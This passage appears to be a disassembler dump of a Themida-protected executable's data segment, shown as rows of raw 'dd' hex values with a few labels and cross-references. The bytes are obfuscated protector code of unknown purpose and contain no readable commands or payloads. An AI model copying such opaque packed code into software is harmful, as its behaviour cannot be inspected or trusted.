		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 20C35242h
		dd 4D9DA96Ah, 22F99D89h, 0BD010610h, 6100DD5h, 0FFF231E9h
		dd 57006AFFh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0D7E63EACh, 0AE96027h, 79000000h, 0E01A88B4h
		dd 0B0F55082h, 6850FA5h, 89000000h, 1004F595h, 0BD336106h
		dd 6100DA9h, 8DF8C18Bh,	1013B985h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 2FC380F5h
		dd 24048950h, 6A006AF5h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 7892C356h, 0DDBD8BB2h
		dd 6A06102Eh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 6BAE54A4h, 2E38166h, 0F9BD894Bh
		dd 8D06101Fh, 14F8A685h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 29857FC2h, 10201D85h
		dd 5C08306h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	0B6C35242h, 444926FFh, 0C1DEAF17h, 0F8B70FA2h
		dd 0FB8B6650h, 0F240489h, 68Dh,	0C5B50900h, 6A06100Dh
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 6A5B5282h, 5BD8B00h, 0BB061017h,	33AB6305h
		dd 1D1995FFh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 52B552C3h, 12E954A6h, 37000000h
		dd 36307222h, 1D3064Dh,	0C3F75E8Bh, 0C376969Eh,	0E860F8Fh
		dd 60000000h, 8D0Fh, 9D890000h,	6103001h, 8DFB8B61h, 13AFD88Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 68E0F02h, 89000000h, 100CA99Dh, 6AD1FF06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 0D400C351h, 9B31CF4h, 1004DD95h, 14E906h
		dd 0DCD80000h, 6441DB89h, 4050C793h, 7A94679Ah,	6D60143Fh
		dd 0BD8336CCh, 6102209h, 96850F01h, 0F000000h, 0D89h, 9D8B6000h
		dd 6102D51h, 450EBEh, 26A611Dh,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 77C35646h, 451B93F8h, 0F2D45655h
		dd 90B0F380h, 0E9505B56h, 13h, 969EC3F7h, 0E68FC376h, 9F5B0E96h
		dd 0FEB13828h, 90728ADFh, 60D9B70Fh, 1395958Bh,	85890610h
		dd 61027BDh, 9595FF61h,	0BF061004h, 2DE8EE74h, 1B800Fh
		dd 0E8600000h, 0Dh, 0BEDA80BFh,	0DC1B9CDBh, 0BA7C4062h
		dd 0E6815FAEh, 7073F8F3h, 0E69E961h, 0E80000h, 5D000000h
		dd 0F8B0ED81h, 6A0614h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 891099C3h
		db 9Dh,	0ADh
word_59AD42	dw 100Eh		; DATA XREF: Themida_:0054C08Co
		dd 0DFBF0F06h, 99B6858Dh, 0BD890613h, 6101645h,	5850F50h
		dd 0BF000000h, 4DD40F41h, 6A240489h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 3C8FC357h
		dd 0FF550410h, 15819D2Bh, 0FF640610h, 35h, 820F6000h, 6
		dd 1E758D89h, 9D310610h, 6102865h, 85896061h, 61014A5h
		dd 99BD2B53h, 59061031h, 25896461h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0D2C35343h
		dd 0B79314D0h, 0CE9F9h,	43D00000h, 69540510h, 8E9BE8BEh
		dd 85FF5434h, 6101419h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 0E6C35646h, 294AB054h, 10286D95h, 0E8FF6A06h
		dd 13h
dword_59AE20	dd 7AB4E3F2h, 0A312185Fh, 2EBAFC7Fh, 880E05C2h,	892F03A4h
					; DATA XREF: Themida_:0054C348o
		dd 1020E995h, 0B5FF5F06h, 6101B25h, 0EDDBD89h, 95FF0610h
		dd 6100615h, 12AE9h, 58A0F00h, 66000000h, 440DCB81h, 5300B0F8h
		dd 0ADF38053h, 70E65F5Fh, 27A99D8Bh, 0F600610h,	61F5C7B7h
		dd 0BB5371E4h, 613BED59h, 0F613C5Bh, 0F683h, 45958900h
		dd 0F061000h, 9D89C8B6h, 61006F5h, 6BAh, 51B50100h, 60061021h
		dd 61F5D88Bh, 9D89C18Bh, 6101149h, 6604E8C1h, 8B24C6BFh
		dd 100A15BDh, 0E2F76606h, 0D3DBD8Bh, 0C82B0610h, 79BD2352h
		dd 5B06101Ah, 9D8BD18Bh, 61030ADh, 0A2E9h, 8BFE8B00h, 4C4C4485h
		dd 5E85Fh, 83520000h, 0E82EB6F2h, 0Fh, 0C1CAA718h, 0E3548796h
		dd 3A9D84F6h, 0F6D96B7h, 81h, 835F5B00h, 13E807C0h, 0A0000000h
		dd 0D5E76A7Eh, 357D3501h, 0F96DA781h, 22344C1Dh, 0BD8BBEC1h
		dd 61029D9h, 0C0835Fh, 5899D09h, 3BF80610h, 11830FD0h
		dd 81000000h, 184853C7h, 35E905h, 9D8B0000h, 61015B1h
		dd 0FFFF8D8Bh, 9D8BFFFFh, 6100F99h, 0F01E183h, 1A84h, 83FE8B00h
		dd 0FFFFFFA5h, 9589FEFFh, 5F4C4C44h, 15A99D8Bh,	0E90610h
		dd 8D000000h, 146F4EB5h, 0C7806006h, 0C28166D7h, 6A61CFB3h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 3EFD426Ch, 0A5D6CF81h, 95FF4938h, 61031C9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0BAC35646h
		dd 1F959D8Bh, 7EB90610h, 3100000Fh, 1009C9BDh, 0FCE18306h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 2C35646h
		dd 507F278Ah, 1FC6328h,	1010C98Dh, 0B8F506h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 795EC351h, 3AE6EBBFh, 0F3355722h,	2BF8B70Fh
		dd 858B60D2h, 6100A39h,	11E861h, 0BFA90000h, 0F6EABE5Bh
		dd 0D60FCAFDh, 2CB43DDDh, 6695E3C9h, 0CCD7F381h, 0C233AD5Fh
		dd 0D003E8D1h, 7504E983h, 2F781F4h, 6A5D680Ah, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 1F8EC350h, 2F24B5D4h, 0DBF9014h, 88h, 12E8h,	0ECA9BB00h
		dd 6A3ADEA6h, 323F68DBh, 55524A64h, 8BF0FC3Dh, 101175BDh
		dd 958B5B06h, 61009F5h,	23198D8Bh, 6A0610h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 29FA61C3h
		dd 0BE44D7Ch, 1020ADBDh, 92E78106h, 50238C15h, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 25BD8B58h,	66061006h
		dd 97D5C781h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 17h,	0AAC35242h, 83C25946h, 101E29BDh, 840F0006h, 5Ch
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 4CC35141h
		dd 0B8FFB70Fh, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 8C35646h
		dd 0BD0BC9CDh, 6102179h, 4E858D8Dh, 0B5090610h,	6101D69h
		dd 0BD8BE1FFh, 6101BADh, 22C1BD83h, 0F000610h, 48884h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 8B665238h, 0C1BD83D9h, 1061022h,	476840Fh
		dd 850F0000h, 6, 805B589h, 0BD8B0610h, 6103011h, 22C1BD83h
		dd 0F030610h, 42186h, 6A60F800h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 9330C352h, 0F774F613h
		dd 0BF0F5C89h, 0D98C66DBh, 807DDB80h, 6A04E1h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 3E1EF9C3h, 0C6FE86E0h, 0C90ADEB3h, 0E2840Fh,	81660000h
		dd 8BEE04D3h, 10218585h, 0A59D2306h, 33061000h,	1011FD85h
		dd 0D5B58906h, 9006102Ah, 8E9h,	0BC7BF900h, 6C09598Fh
		dd 52505034h, 0B9E1B260h, 561BE54Eh, 60310F61h,	7DB05A56h
		dd 90585A61h, 2DDD8501h, 6A0610h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 87C35747h, 0A7FF3D96h, 0FE33C1BBh
		dd 9D8D891Bh, 0E806100Ah, 4, 1F03FFh, 7947BB66h, 24448B50h
		dd 0FB8B5304h, 89008B5Bh, 0BB042444h, 51BA6488h, 0C810F58h
		dd 0F000000h, 684h, 0CDB58900h,	8B061004h, 0D595FFD9h
		dd 0BB061005h, 7EF80F81h, 0C26D8589h, 6A0613h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0E9EE50C3h, 27Ch, 577BB66h, 0C265858Bh, 6A0613h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8B0CB9C3h, 1008D5BDh, 1800C706h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 8BAAC350h, 1010959Dh, 0D7816606h, 0B58BC9A6h, 613C269h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 3CC35141h
		dd 276B84F4h, 14BB2276h, 0C98D899Ch, 0BB061010h, 215F63h
		dd 0E25858Bh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0CE4165C3h, 7624D5Ah, 6892372h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 4FC35040h
		dd 0B529EDFEh, 610105Dh, 2185858Bh, 6A0610h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 1FEAF1C3h
		dd 4BFB9090h, 0FBB70FB0h, 6A044689h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 3E3C350h
		dd 960701Ch, 101AA9BDh,	118D3106h, 6106101Ch, 8B525050h
		dd 51310FFBh, 0BE9h, 54304000h,	4E82FE2Ah, 79A5F166h, 89585A5Bh
		dd 0BD8B2434h, 6102ABDh, 0C265B5FFh, 6A0613h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 2C7495C3h
		dd 68668B89h, 0EDAA86ADh, 50525060h, 5A310F52h,	0BB310F58h
		dd 3DF38B2Dh, 0DE9585Ah, 0AA000000h, 438E7049h,	0B17624F6h
		dd 0DE62DACCh, 24048161h, 12747D52h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 2DC35545h, 8DD95650h, 13C26D85h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 8BFDCC82h, 103091BDh, 0E9609006h, 6, 0B1A017DFh
		dd 0F600AF6h, 82h, 0CB8B6600h, 50506161h, 905FDF8Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0DDC35747h, 8BA829EEh
		dd 1021E59Dh, 0D595FF06h, 6A061005h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 9AD7C356h
		dd 1913ECE4h, 3F1BDD7Ch, 19319D8Bh, 95890610h, 61019E9h
		dd 55006A61h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0A72330C5h, 29CCAEAFh, 0C185C7CEh, 3061022h
		dd 60000000h, 0EE8h, 0A058600h,	4788D771h, 1D9ED841h, 0F940C24Bh
		dd 0CFE7805Ah, 6DBD8361h, 613C2h, 14840Fh, 0FB8B0000h
		dd 28E9h, 0BE666000h, 0F60F47Dh, 6161C8BFh, 305083B7h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0C690C5CAh, 2D518D09h, 9D8B0610h, 6100DB5h
		dd 22C1BD83h, 0F030610h, 47A85h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0D64FA22Dh
		dd 0C26DBD83h, 0F000613h, 44E84h, 0D98B6600h, 0C26DB5FFh
		dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 8B7FF5C3h, 100A319Dh, 8CAEBF06h, 95FF4911h
		dd 6102FA5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	81C35646h, 654F0725h, 0AAEB806Eh, 0C261B58Bh, 6A0613h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 0DEDD11C3h, 0FE8B66A7h, 1EDDBD8Bh, 6C70610h,	10001h
		dd 68C0Fh, 9D290000h, 6101699h,	8F0F5150h, 2, 895B66B3h
		dd 0B5312434h, 6101EC5h, 0C26DB5FFh, 6A0613h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 659A4EC3h
		dd 0D19AD28Bh, 122595FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 982D6FC3h, 1C1DBD8Bh
		dd 0B58B0610h, 613C261h, 1925BD8Bh, 858B0610h, 61021D1h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0A7C35545h
		dd 7F470679h, 0C48689B0h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 4977C352h
		dd 0A79412FBh, 0DC59D29h, 958B0610h, 61009F5h, 0C95BD8Bh
		dd 0C2830610h, 5089F504h, 57006A20h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 0F98B1D00h
		dd 0D7C2858Dh, 6A0613h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 6066CFC3h, 0EDB9244Fh, 8689517Ch
		dd 0B8h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	50C35242h, 1F90B481h, 0BD8B26E6h, 61016DDh, 6A72D380h
		dd 9BD8900h, 0FF061014h, 13C26DB5h, 0F99D8B06h,	6606101Fh
		dd 4CC7DF81h, 49595FFh,	6A0610h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0C272D4C3h, 0F50DA8Ah
		dd 48Fh, 37BB6600h, 243489E3h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 4CC35141h, 1B06C538h, 0FF67B48Eh
		dd 13C26DB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 8E0FAD68h, 6, 14B19D89h, 0B70F0610h
		dd 2D95FFFAh, 6A061016h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0B590C356h, 52F46208h, 51BD83AFh,	61013h
		dd 81840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1B0424h, 50400000h, 9C0929C3h, 6AF1E5E1h, 0B98D89C0h
		dd 0F906102Ah, 1F8F0F50h, 50000000h, 880F52h, 0F000000h
		dd 0DE831h, 0F6490000h,	0E0963092h, 0FBEEFFAEh,	5BA4F279h
		dd 3489585Ah, 7E86024h,	8E000000h, 86E67FCDh, 8589B914h
		dd 610168Dh, 14E959h, 9FF90000h, 5EE0A6E6h, 0E05277BEh
		dd 0A575664Ah, 37E36325h, 0FF61D3F8h, 13C26DB5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0D7DE8DF6h, 48E0F8Fh, 66000000h, 2B74DEBFh, 101D7DBDh
		dd 1995FF06h, 8B06100Ch, 1019DD9Dh, 0FFD7B706h,	13C26DB5h
		dd 95FFF806h, 6101621h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 87C35646h, 686647h, 25843EDAh, 5E92Ch
		dd 2EC50000h, 83647F5Bh, 100F89BDh, 840F0206h, 35h, 8D8D8957h
		dd 5B061021h, 10C5858Bh, 0FE90610h, 6B000000h, 0E25A756Dh
		dd 3E1A466Dh, 6EA6BCC4h, 0C6630Eh, 79953100h, 0E9061004h
		dd 5, 0F6C7C938h, 2585C750h, 6102Ah, 6A000000h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 6015C353h, 0FFC98064h, 0DA8B6653h, 0CE8h, 0CB27A600h
		dd 7D26FB7Dh, 3EDB50E8h, 0B1B5BB1Bh, 0E95F3486h, 0FFFFF2F9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 8EC35747h
		dd 0CDC98ED6h, 880F5080h, 2, 605B20B7h,	0F13BBB66h, 8B61D18Bh
		dd 51006AC1h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 607F973Dh, 46D98166h, 0C081665Fh, 8D616FA9h
		dd 1013B985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 8166CD21h, 907467C7h, 5050EAB7h
		dd 0FFBF6652h, 0E9310F07h, 13h,	0F34F050Dh, 438CE125h
		dd 9A44966Ch, 5AECBD93h, 5ACB15D3h, 6A9058h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 733E83C3h
		dd 0B5314694h, 6100AF9h, 850F006Ah, 6, 5B19D89h, 6A0610h
		dd 858D48B7h, 615091Eh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 81C35545h, 92B1042Ch,	0C0834F71h, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 6D31D76h, 8A46DD89h,	0DE983h, 0D3950000h, 6135DDDEh
		dd 6FA28D72h, 50C1A11Bh, 89FE8B66h, 8B662404h, 8B006AD8h
		dd 1011F5BDh, 89006A06h, 103141B5h, 1995FF06h, 6A06101Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 855AC353h, 31A4DD87h, 1006B1B5h, 699D2B06h
		dd 8D06102Ah, 13AFD88Dh, 8B665606h, 0D1FF5BD8h,	12E9h
		dd 1014AF00h, 610F6BCCh, 404E5404h, 5FB6C5A8h, 834793E4h
		dd 102209BDh, 850F0106h, 0A5h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0A2C35141h,	26AD34Ch, 1C1B529h
		dd 0E8500610h, 13h, 11633322h, 441FFEF1h, 0E58E7A9Dh, 2399BE28h
		dd 0BF7B769Eh, 42207A98h, 2404895Fh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 87C35040h, 0F143895h, 0BB66DABFh
		dd 0BB66A11Dh, 95FF535Fh, 6100495h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 19h, 21C35040h, 958C3345h, 7E9FFh
		dd 42110000h, 78C933F0h, 0D38E9B3h, 0E80000h, 5D000000h
		dd 928ED81h, 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 75D543C3h, 660C54D2h, 9589D88Bh
		dd 6102361h, 99B6858Dh,	9D890613h, 6100BD9h, 0BAB86090h
		dd 666004B9h, 5061C28Bh, 21A46CBBh, 6A9031h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BD337DC3h
		dd 61022EDh, 35FF64h, 0F5000000h, 258964h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0D08FC357h, 5F0B1F8Bh, 0A9CF9D63h, 0EAD9D8Bh, 85FF0610h
		dd 6101419h, 0BE9h, 0F1DB9900h,	8ED1CD00h, 0FDFEDFD2h
		dd 45DB529h, 0FF6A0610h, 10E856h, 63A60000h, 0BB6DA91Ah
		dd 0DEA6ECA9h, 68DB6A3Ah, 0BD89323Fh, 61004DDh,	0B5FF5B5Bh
		dd 6100EA5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	0F3C35040h, 95FFB24Ch, 6100615h, 136E9h, 11E900h
		dd 0B62A0000h, 0AC77C816h, 4FC51EDh, 0A7AFD601h, 0B0BE3BBBh
		dd 5DB58900h, 0E6061008h, 3D9D3170h, 0E4061009h, 0C3816671h
		dd 613C5568h, 101830Fh,	85890000h, 6102A99h, 0BAC8B60Fh
		dd 6, 12E9h, 6A46BD00h,	0C65F885Fh, 0DD5CF6ABh,	0E49939BBh
		dd 8B3B06E5h, 9E9C1h, 0D4A10000h, 0B6F15927h, 0C10D83A3h
		dd 0BD8B04E8h, 6100AADh, 60E2F766h, 820FFA8Bh, 6, 10919D01h
		dd 2B610610h, 0A1BD8BC8h, 8B061005h, 599D8BD1h,	0E9061005h
		dd 9Bh,	2369B529h, 89600610h, 102D9D9Dh, 77F18106h, 615EB139h
		dd 4C50858Bh, 10E94755h, 6D000000h, 0A65AF135h,	0B543232Ch
		dd 0F84B4339h, 837AE807h, 858907C0h, 610221Dh, 8900C083h
		dd 10079DB5h, 0FD03B06h, 683h, 4CE9F800h, 8B000000h, 0FFFFFF8Dh
		dd 35BD8BFFh, 83061033h, 840F01E1h, 37h, 68D0Fh, 9D8B0000h
		dd 6102309h, 0FFFFA583h, 0E8FEFFFFh, 0Dh, 37BFF599h, 0E50DBEB4h
		dd 0DB3F07D5h, 95895FEFh, 47554C50h, 7458589h, 0E90610h
		dd 8D000000h, 147ECCB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 0FD51FC2Ch, 7A25624Bh
		dd 2A65BD89h, 6A0610h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0BBC35747h, 0F0EBDD5h, 68Ch, 56CB8100h
		dd 0FF64E06Ch, 1031C995h, 359D8B06h, 0B9061021h, 0F37h
		dd 11A1BD8Bh, 0E1830610h, 55006AFCh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 3273BC9Fh
		dd 11929170h, 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 627F69E7h, 4FBAB51h, 0E3816656h
		dd 0B8EA39h, 0BB000000h, 4516BEDh, 0BD8BD22Bh, 6100DA1h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 31C35343h, 219A8212h, 0BB4357C0h
		dd 2F3B911Dh, 6860Fh, 0BD8B0000h, 6102161h, 880Dh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0FE8BC144h, 9F5958Bh, 6A0610h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 8D8BE8C3h, 6102319h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0E3C35141h
		dd 8BC28B50h, 8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 0B9605818h, 1F24790Ch, 1DC98509h
		dd 89610610h, 102E7185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 31A16BFEh, 34B337D4h
		dd 10E8697Bh, 0A5000000h, 45B67BCBh, 282EAC2h, 53E55BDCh
		dd 8B9847D9h, 101425BDh, 0BD835B06h, 6101E29h, 47840F00h
		dd 0F000000h, 8Dh, 0B800h, 0DE8B0000h, 2871BD8Bh, 8D8D0610h
		dd 6104E85h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0DC35343h, 9DE983DFh, 1425BD8Bh, 0E1FF0610h, 1C61BD89h
		dd 0BD830610h, 61022C1h, 2E840F00h, 6A000004h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 8898C353h, 5880Fh, 0ADBB0000h, 830AAB0Dh, 1022C1BDh
		dd 840F0106h, 414h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0BC35646h, 6810Fh, 0BD8B0000h, 61000B9h
		dd 22C1BD83h, 0F030610h, 3A986h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0D73758B9h
		dd 0B3217F3Eh, 0E38169FEh, 24982874h, 6A60F98Ah, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0D070C352h, 7DFDFBE2h, 48EFA20Dh, 2199BD29h,	0C3810610h
		dd 0E45CE2Fh, 6AD98C66h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0D3F1C351h,	0E8CCE47Ah
		dd 0Bh,	85E9BBADh, 0EBF7F614h, 29D7381Eh, 102F89B5h, 0E1805F06h
		dd 59958904h, 0A061021h, 0ED840FC9h, 6A000000h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0E27AC355h, 9A8DFA4Dh, 0B76D2DE2h, 2185858Bh, 6A0610h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 81407C3h, 6D09BB66h,	11FD8533h, 6A0610h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 72C755C3h
		dd 9CAB34E3h, 67D9D8Bh,	60500610h, 8961D48Ah, 0E7802404h
		dd 0F006A15h, 583h, 8741BB00h, 5681196h, 0F5652B4h, 280h
		dd 8192B300h, 0B7FA2434h, 9D31564Dh, 6101079h, 5D595FFh
		dd 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 89A7EAC3h, 13C26D85h, 49858906h, 0E9061012h
		dd 1D2h, 21359D0Bh, 95890610h, 6100229h, 0C265858Bh, 6A0613h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 7F819DC3h, 0FE8B660Ah, 1800C7h, 8D890000h, 6101F4Dh
		dd 6820Fh, 0DB810000h, 725E64D4h, 0C269B58Bh, 0BD890613h
		dd 6102809h, 0E25858Bh,	6A0610h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 11271CC3h, 852964EDh
		dd 6102195h, 858B0689h,	6102185h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 65C35242h, 810FA009h, 6, 10819589h
		dd 46890610h, 68B0F04h,	89000000h, 100A39B5h, 0F88B5006h
		dd 31243489h, 1016F1BDh, 65B5FF06h, 8B0613C2h, 101275BDh
		dd 4E806h, 3FF0000h, 0FA8B001Fh, 0DE850h, 0D9B90000h, 40C783FDh
		dd 5B8E18ABh, 0E90FDB1Fh, 0Ah, 0EAF16588h, 0FB90901Fh
		dd 8B5BB04Bh, 0BF042444h, 15F241Eh, 0E0BB008Bh,	892744A6h
		dd 58042444h, 0BF0F68B7h, 6D858DDBh, 0B0613C2h,	101D3DBDh
		dd 66605006h, 14E8D08Bh, 0E1000000h, 0CC409266h, 85E3F93Bh
		dd 0A18C1FB6h, 0E3C4838Ch, 0E86E1BA6h, 0Eh, 0EB196865h
		dd 5C0A3EE8h, 0D8026691h, 5E5EB3A9h, 24048961h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 59C35242h, 0D595FFF8h
		dd 6A061005h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 763BC356h, 6F53139Eh, 0E860B0E2h
		dd 0Dh,	0F9B697AEh, 0F330F5D0h,	15C13B34h, 21958B01h, 5F06100Eh
		dd 27E9B509h, 66610610h, 8A61D88Bh, 0C185C7DCh,	3061022h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 94EDC350h, 0D729D728h,	972A530h
		dd 83FAB70Fh, 13C26DBDh, 840F0006h, 0Ah, 1EE9D98Bh, 80000000h
		dd 3050E5F3h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
